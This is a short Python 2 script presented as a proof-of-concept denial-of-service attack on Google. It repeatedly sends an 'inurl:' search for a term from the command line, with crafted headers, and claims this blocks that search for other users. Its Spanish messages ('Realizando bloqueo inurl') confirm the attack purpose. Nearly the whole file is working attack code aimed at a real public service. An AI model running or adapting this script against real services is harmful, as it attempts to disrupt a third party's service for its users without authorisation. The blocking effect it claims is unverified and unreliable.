#!/usr/bin/python #google "DoS" that blocks inurl search. Proof of concept #Lostmon && icaro www.hispanew.com && badchecksum team import httplib import string import sys import time def peticion_web(pedido): p_web='/search?q=inurl:' + pedido web=httplib.HTTP('www.google.es') web.putrequest('GET',p_web) web.putheader('Host', 'www.google.com') web.putheader('Accept', 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5') web.putheader('Accept', 'text/plain') web.putheader('Referer','http://www.google.com/search?q=sfa&hl=es&lr=&start=20&sa=N') web.endheaders() errcode, errmsg, headers = web.getreply() fichero=web.getfile() datos=fichero.read() n=0 print 'PoC google dos by lostmon && icaro www.hispanew.com' print 'Uso: Dosgoogle [*.php a dosear]' time.sleep(1) print '[+]Realizando bloqueo inurl...' while n<5: peticion_web(sys.argv[1]) n=n+1 print '[+]Finalizado pruebe a buscar inurl:' + sys.argv[1] +' en google'